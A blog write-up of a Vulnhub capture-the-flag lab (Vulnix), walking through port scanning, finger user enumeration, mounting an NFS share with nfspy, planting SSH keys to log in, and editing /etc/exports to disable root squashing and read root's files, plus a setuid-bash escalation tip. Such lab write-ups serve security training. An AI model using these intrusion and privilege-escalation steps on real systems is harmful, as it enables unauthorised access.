Vulnhub: HackLAB: Vulnix Boot2Root VM

Introduction

Today I’ll be writing up the method I used to compromise the excellent Vulnix VM hosted by Vulnhub, created by @oshearing

This one was quite difficult and took a good few hours for me to work out what needed to happen to compromise it, but I got to use some fun new tools and learned a lot!

Let’s get to it 🙂

NMap

root@kali:~# nmap -sV -sC -p- -T5 192.168.56.101

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-13 21:13 GMT
Nmap scan report for 192.168.56.101
Host is up (0.0013s latency).
Not shown: 65518 closed ports
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=vulnix
| Not valid before: 2012-09-02T17:40:12
|_Not valid after:  2022-08-31T17:40:12
|_ssl-date: 2018-03-13T21:14:13+00:00; +4s from scanner time.
79/tcp    open  finger   Linux fingerd
|_finger: No one logged on.\x0D
110/tcp   open  pop3     Dovecot pop3d
|_pop3-capabilities: CAPA UIDL SASL TOP RESP-CODES PIPELINING STLS
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2018-03-13T21:14:12+00:00; +4s from scanner time.
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      34666/udp  mountd
|   100005  1,2,3      48239/tcp  mountd
|   100021  1,3,4      32981/udp  nlockmgr
|   100021  1,3,4      36206/tcp  nlockmgr
|   100024  1          41831/tcp  status
|   100024  1          49447/udp  status
|   100227  2,3         2049/tcp  nfs_acl
|_  100227  2,3         2049/udp  nfs_acl
143/tcp   open  imap     Dovecot imapd
|_imap-capabilities: ID SASL-IR LOGINDISABLEDA0001 more have ENABLE post-login listed STARTTLS LOGIN-REFERRALS IMAP4rev1 OK Pre-login LITERAL+ IDLE capabilities
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2018-03-13T21:14:13+00:00; +4s from scanner time.
512/tcp   open  exec     netkit-rsh rexecd
513/tcp   open  login    OpenBSD or Solaris rlogind
514/tcp   open  shell    Netkit rshd
993/tcp   open  ssl/imap Dovecot imapd
|_imap-capabilities: ID SASL-IR listed more ENABLE have post-login IMAP4rev1 LOGIN-REFERRALS AUTH=PLAINA0001 OK Pre-login LITERAL+ IDLE capabilities
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2018-03-13T21:14:12+00:00; +4s from scanner time.
995/tcp   open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: CAPA UIDL SASL(PLAIN) TOP USER PIPELINING RESP-CODES
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2018-03-13T21:14:12+00:00; +4s from scanner time.
2049/tcp  open  nfs_acl  2-3 (RPC #100227)
36206/tcp open  nlockmgr 1-4 (RPC #100021)
41831/tcp open  status   1 (RPC #100024)
43844/tcp open  mountd   1-3 (RPC #100005)
43900/tcp open  mountd   1-3 (RPC #100005)
48239/tcp open  mountd   1-3 (RPC #100005)
MAC Address: 00:0C:29:24:18:F8 (VMware)
Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.35 seconds
root@kali:~# 

Loads of stuff going on here!

Analysis of Port Scan

So the remote box is running-

  • SSH
  • An entire SMTP / POP suite of applications
    • Metasploit has lots of tools for enumerating these services, so we’ll play with those in a second
  • Fingerd
  • RPCBind
    • Normally I’d scroll past this as it’s pretty standard but this one mentions NFS by name, which could potentially provide us with access to files on the box
  • rexecd, rlogind, rshd
    • This all looks very interesting, so we’ll be investigating these!

User Enumeration from fingerd

First up we use msfconsole to find out the users on the remote box –

msf exploit(linux/smtp/exim4_dovecot_exec) > use auxiliary/scanner/finger/finger_users
msf auxiliary(scanner/finger/finger_users) > show options 

Module options (auxiliary/scanner/finger/finger_users):

   Name        Current Setting                                                Required  Description
   ----        ---------------                                                --------  -----------
   RHOSTS                                                                     yes       The target address range or CIDR identifier
   RPORT       79                                                             yes       The target port (TCP)
   THREADS     1                                                              yes       The number of concurrent threads
   USERS_FILE  /usr/share/metasploit-framework/data/wordlists/unix_users.txt  yes       The file that contains a list of default UNIX accounts.

msf auxiliary(scanner/finger/finger_users) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(scanner/finger/finger_users) > run

[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: backup
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: bin
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: daemon
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: games
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: gnats
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: irc
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: libuuid
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: list
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: lp
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: mail
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: dovecot
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: man
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: messagebus
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: news
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: nobody
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: proxy
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: root
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: sshd
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: sync
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: sys
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: syslog
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: user
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: dovenull
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: uucp
[+] 192.168.56.101:79     - 192.168.56.101:79 - Found user: www-data
[+] 192.168.56.101:79     - 192.168.56.101:79 Users found: backup, bin, daemon, dovecot, dovenull, games, gnats, irc, libuuid, list, lp, mail, man, messagebus, news, nobody, proxy, root, sshd, sync, sys, syslog, user, uucp, www-data
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

So we’ve uncovered a pretty decent list of users here!

RPCBind and NFS

Normally I’d use “rpcinfo” to get an idea of the RPC services available on the box, but thanks to the sC output from nmap, we already know what’s there. And we’re interested in NFS (Network File System) in particular.

Using this guide we find out how to look at the exported shares on the remote box –

root@kali:~# apt search showmount
Sorting... Done
Full Text Search... Done
nfs-common/kali-rolling,now 1:1.3.4-2.2 amd64 [installed]
  NFS support files common to client and server
root@kali:~# apt install nfs-common
..........SNIP
root@kali:~# showmount -e 192.168.56.101
Export list for 192.168.56.101:
/home/vulnix *

So there’s an exported share at /home/vulnix! Let’s mount it using that guide linked above as our.. guide..

root@kali:~# mount -t nfs 192.168.56.101:/home/vulnix /mnt/vulnix/
root@kali:~# cd /mnt/vulnix/
bash: cd: /mnt/vulnix/: Permission denied
root@kali:~# ls -al /mnt/vulnix/
ls: cannot open directory '/mnt/vulnix/': Permission denied
root@kali:~# stat /mnt/vulnix/
  File: /mnt/vulnix/
  Size: 4096      	Blocks: 8          IO Block: 32768  directory
Device: 2ch/44d	Inode: 32917       Links: 2
Access: (0750/drwxr-x---)  Uid: (65534/  nobody)   Gid: (4294967294/ UNKNOWN)
Access: 2012-09-02 19:25:05.255399564 +0100
Modify: 2012-09-02 19:25:02.599394586 +0100
Change: 2012-09-02 19:25:02.599394586 +0100
 Birth: -
root@kali:~#

WHAT. So we’ve successfully mounted the remote NFS on our box but we can’t access it. Notice that the user is “nobody” this is because of rootsquashing (to prevent us with uid 0 getting root remotely essentially!)

So we could either try and brute force Vulnix user’s uid and gid so that we can mount it OR we can use an awesome tool called nfspy!

NFSpy takes the leg work out of determining which UID / GID we need and mounts the NFS share for us.

root@kali:~# umount /mnt/vulnix
root@kali:~# nfspy -o rw,server=192.168.56.101:/home/vulnix /mnt/ 
root@kali:~# ls -al /mnt/
total 13
drwxr-x---  2 2008 2008 4096 Sep  2  2012 .
drwxr-xr-x 26 root root 4096 Feb  6 22:02 ..
-rw-r--r--  1 2008 2008  220 Apr  3  2012 .bash_logout
-rw-r--r--  1 2008 2008 3486 Apr  3  2012 .bashrc
-rw-r--r--  1 2008 2008  675 Apr  3  2012 .profile

Bingo 😉 SO at this point it doesn’t look like there’s much we can do, right? There’s nothing interesting in those three files. But we have write access, so we can create our own files in the users home directory. How about we copy over our SSH id_rsa keys so that we can SSH in without a password?

root@kali:/mnt# mkdir .ssh
root@kali:/mnt# cd .ssh/
root@kali:/mnt/.ssh# cp /root/.ssh/id_rsa* ./
root@kali:/mnt/.ssh# cat id_rsa.pub > authorized_keys
root@kali:/mnt/.ssh# ssh -i /root/.ssh/id_rsa vulnix@192.168.56.101
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Thu Mar 15 21:35:25 GMT 2018

  System load:  0.0              Processes:           89
  Usage of /:   90.2% of 773MB   Users logged in:     0
  Memory usage: 8%               IP address for eth0: 192.168.56.101
  Swap usage:   0%

  => / is using 90.2% of 773MB

  Graph this data and manage this system at https://landscape.canonical.com/


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

vulnix@vulnix:~$ whoami
vulnix
vulnix@vulnix:~$

Privilege Escalation

OK so we’ve got a limited shell now as the Vulnix user! Let’s see what Vulnix can do as root –

vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User vulnix may run the following commands on this host:
    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports

How convenient! Vulnix is allowed to mess with the exports file (which is squashing the NFS mount 😉 ) Let’s modify it to disable squashing and allow us access to the / directory (AKA total compromise)!

# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/root    *(rw,no_root_squash)

All that’s left to do is to restart the nfs service and remount the directory and we’ll have total control over the box.

vulnix@vulnix:~$ service nfs-kernel-server restart

Which didn’t work because we’re not root! At this point I was a dirty skid and rebooted the VM but I’ll post a caveat at the end with what I should have done based on reading up after the challenge!

Post Reboot Privesc

Box came back up after my shameful reboot aaaand –

root@kali:/# umount /mnt/vulnix
root@kali:/# mount -t nfs 192.168.56.101:/root /mnt/vulnix/
root@kali:/# cd /mnt/vulnix/
root@kali:/mnt/vulnix# ls -al
total 28
drwx------ 3 root root 4096 Sep  2  2012 .
drwxr-xr-x 3 root root 4096 Mar 15 21:54 ..
-rw------- 1 root root    0 Sep  2  2012 .bash_history
-rw-r--r-- 1 root root 3106 Apr 19  2012 .bashrc
drwx------ 2 root root 4096 Sep  2  2012 .cache
-rw-r--r-- 1 root root  140 Apr 19  2012 .profile
-rw------- 1 root root  710 Sep  2  2012 .viminfo
-r-------- 1 root root   33 Sep  2  2012 trophy.txt
root@kali:/mnt/vulnix# cat trophy.txt 
cc614640424f5bd60ce5d5264899c3be

*trumpet fanfare etc.*

Conclusion

Great, creative and reasonably difficult box! This had some really unique touches that I’d not come across before and I feel like I learned loads! Thanks Owen!

Appendix A – Correct Method to Privesc!

After reading this awesome write up after pwning the box I realised that I could have simply copied /bin/bash from my attacker box onto the mounted share and set the sticky bit (which would persist as EUID 0 on the remote box..), then SSH over to Vulnix and run “./bash -p” from their home directory to get a root shell! Bah!

Add a Comment

Your email address will not be published. Required fields are marked *

I accept that my given data and my IP address is sent to a server in the USA only for the purpose of spam prevention through the Akismet program.More information on Akismet and GDPR.